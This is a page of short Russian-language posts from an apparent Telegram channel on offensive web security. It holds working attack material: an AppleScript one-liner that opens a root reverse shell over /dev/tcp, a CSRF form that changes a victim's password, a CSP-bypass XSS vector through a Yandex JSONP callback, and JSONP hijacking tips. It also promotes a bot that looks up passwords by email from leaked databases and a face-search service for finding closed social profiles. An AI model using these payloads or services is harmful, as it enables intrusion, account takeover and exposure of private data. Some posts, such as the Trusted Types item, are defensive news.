Обложка канала

Кавычка. Страница 6

9725 @webpwn

Ломать - не строить

  • Кавычка

  • Кавычка

  • Кавычка

    Иногда бывает, что в ответ на GET запрос получаем JSON объект, где может храниться чувствительная информация: какие-нибудь данные пользователя или даже CSRF-токен! И если раньше мы могли «узнать» эту информацию, то сейчас это стало невозможным.
    Однако всегда стоит проверить возможность добавить функцию обратного вызова и получить JSONP объект, который до сих пор можно захайджечить! Пример:
    GET /api/user.info?callback=xek HTTP/1.1

    Зачастую для вызова обратной функции у меня встречались следующие параметры:

    callback
    jsonp
    cb
    jp

    А затем уже эксплуатируем обычный JSONP Hijacking, как в примерах ниже:
    https://hackerone.com/reports/361951
    https://hackerone.com/reports/9775
    https://hackerone.com/reports/361951

    Кроме того, такую находку можно использовать для обхода CSP, как писали тут ранее.
  • Реклама

  • Кавычка

    Бот для поиска паролей по введённому email’у на основе множества утечек баз данных. База постоянно пополняется :)

    @mailsearchbot
  • Кавычка

    JS-Alpha - забавный JS-енкодер, который обфусцирует сценарий только с помощью символов /[a-z().]/ (ха). Выглядит это как набор функций, ценности особо не несёт, но выглядит забавно.

    https://terjanq.github.io/JS-Alpha/encoder.html

    Например, alert(1):
    with(escape())with(eval.bind)eval(unescape(match().concat(strike().big().link().length).concat(escape(escape.name.length).concat(escape(...call.name))).concat(escape(escape(link())).length).concat(link().blink().link().length).concat(link().link().strike().length).concat(name.link().length).concat(big().big().length).concat(fixed().big().length).join(unescape(...escape(this)))))
  • Кавычка

    Учетная запись была в открытом доступе примерно с лета прошлого года. Репозиторий уже был удален, клиенты не пострадали (надеюсь), а мы уже получили ответ от Devicelock - "ага, спасибо. не нужно конечно было это допускать ;)".
  • Кавычка

    Проблема непреднамеренных утечек критичной информации (ключей доступа, паролей, ключей шифрования, API-ключей различных продуктов и т.п.) на сервис для хостинга IT-проектов и их совместной разработки GitHub, сейчас является одной из самых горячих тем обсуждения. 🔥

    В открытом доступе была обнаружена учетная запись сотрудника компании devicelock (основатель которой ведет канал об утечках @dataleak).
  • Кавычка

    Чуваки из Google сделали офигенный сервис!
    Он наглядно показывает уязвимые участки кода у различных CVE (ну патчи, конечно же).

    https://www.vulncode-db.com
  • Кавычка

    GraphQL - это технология для создания API от Facebook. Сейчас на многих современных сайтах можно увидеть обращения к GraphQL-бекендам, у которых нередко можно встретить проблемы с разделением прав доступа. Достаточно вспомнить недавний баг у HackerOne.

    Одним из самых популярных бекендов является graphcool. Фреймворк позволяет легко создавать GraphQL-схемы из SDL. Но безопасна ли сгенерированная схема? Исследовать GraphQL-схемы можно легко с помощью GraphQL Playground или расширения ChromeiQL. Так, можно увидеть, что graphcool создает новые поля-селекторы для всех строковых полей, например password_contains, password_not_contains, password_starts_with и др. И что самое главное - авторизация для таких полей реализована некорректно, допуская error-based перебор символов.
  • Кавычка

    Вышел отчет Chromium Security Q4. Самое интересное, что там было - представление нового API для защиты от XSS (в первую очередь от DOM-based), который называется Trusted Types.

    Теперь разработчики смогут на своем сайте ограничить небезопасную вставку содержимого в DOM специальной политкой, которая активируется в CSP-заголовках. В этом случае в качестве параметров для функций (или свойств), порождающих небезопасный html (так называемые inоjection sinks, например, Element.innerHTML или HTMLScriptElement.src), можно будет использовать только объекты-политики, в которых можно описать реализацию санитайзинга или проверки контента, попадающего в DOM.

    Подробнее можно почитать здесь: https://developers.google.com/web/updates/2019/02/trusted-types, а полную спецификацию можно найти тут: https://wicg.github.io/trusted-types/dist/spec/.

    Фича пока что экспериментальная и доступна с 73 по 76 версию Chromium'a. Чтобы попасть в эксперимент надо записать свой сайт по ссылке: https://developers.chrome.com/origintrials/#/register_trial/171136785840078849
  • Кавычка

    В 2017 году на Defcon Russia я предлагал использовать Google Glass интегрируя в него сервис Findface.

    Только вот Findface уже закрыли, но на смену ему приходит минималистичный searchface.ru. Несмотря на то, что подобных сервисов уже много, этот абсолютно бесплатный (даже без регистрации).
    FindTwin face search demo в title говорит о том, что это демка, но поиск по закрытым профилям вконтактике — уже приятно.
  • Кавычка

  • Кавычка

    Ruby забавно парсит JSON стандартным модулем. В него можно писать комментарии!
    Например, если серверная часть не проверяет Content-type запроса на application/json, можно сформировать сценарий для CSRF.

    <body onload="document.forms[0].submit();">
    <form action="https://visim" method="POST" enctype="text/plain">
    <input type="hidden" name='{"action":"changepassword","password":"PwnMePls!1!!"}//' value="">
    </form>
    </body>
  • Кавычка

    AppleScript — мощный инструмент.
    Нужен root shell?

    osascript -e "do shell script \"bash -i >& /dev/tcp/%ip%/%port% 0>&1 \" with administrator privileges"

    Нужен контроль над другим приложением?

    osascript -e 'tell app "Chrome" to display dialog "Hello World"'

    (В Mojave нужно дать доступ через меню «Accessibility»)

    Сценарии AppleScript можно писать на диалекте JS - JXA. Например, Apfell целиком написан на JXA.
    При помощи AppleScript можно стучаться в ObjC и получать доступ к любому API.

    AppleScript - язык автоматизации и работы с IPC. Chrome/Safari и другие програмы имеют готовый интерфейс для интеграции с AppleScript и Automator.

    Сам язык похож на Visual Basic и документации по нему мало. К счастью, нам хватит do shell script
  • Кавычка

    Недавно на ZN:Web Village обсуждались способы обхода Content-Security-Policy, в том числе через использование JSONP колбэков из списка довереных доменов.
    И тут в твитторе встретилась неплохая подборка таких коллбеков для самых разных сервисов!
    https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt

    Разберем на примере. Вот встретили вы такую политику:
    Content-Security-Policy: default-src none; script-src 'unsafe-inline' 'nonce-rhg4nkW7bVP4DzlAfkMrdg==' *.yandex.net

    А для Яндекса как раз есть пара примерчиков. Итого, наш мега-вектор принимает вид:

    "><script src="https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)"></script>
    PWNED!

    А вот и сама презентация https://clck.ru/EsdWb


    Любопытно, что во многих случаях сервис всячески ругается ("Only alphabet or number allowed in JSONP "), но это не мешает работе байпаса.
  • Реклама

  • Кавычка

    Некоторые заголовки могут работать как HTML теги (и наоборот)

    Например, тег
    <meta http-equiv="Content-Security-Policy" content="default-src https://hello; child-src 'none'; object-src 'none'">
    включит соотвествующий CSP, как если бы он был в заголовках.

    Заголовок
    Refresh: 3;URL=https://hello/
    покажет содержимое страницы на три секунды, а потом перенаправит пользователя, как если бы на странице был тег
    <meta http-equiv="refresh" content="3;https://hello/">


    Заголовок
    Link: <https://hello/>;rel=stylesheet
    попытается подгрузить и применить на страницу CSS, как если на странице был тег
    <link rel="stylesheet" href="https://hello/">
    правда, только для Firefox🦊
  • Кавычка

    Bo0oM - I <"3 XSS
    H D, Pavel Rukavishnikov - Blind XSS
    Ivan Chalykin - Key methods of CSP bypassing
    Sergey "BlackFan" Bobrov - BugBounty Automation
    Andrey "L1kvID" Kovalev - Introduction into browser hacking
    Alexey "SooLFaa" Morozov - Misconfiguration in development infrastructure
    Alexey "GreenDog" Tiurin - (A)typical vulnerabilities
    Omar "Beched" Ganiev - PHP insecurity stack
    Pavel "Paul_Axe" Toporkov - PHP unserialize
    Alexandr "Webr0ck" Romanov - Spel injection
    Egor "ShikariSenpai" Karbutov & Sergey "BeLove" Belov - Defense. Change my mind!
  • Кавычка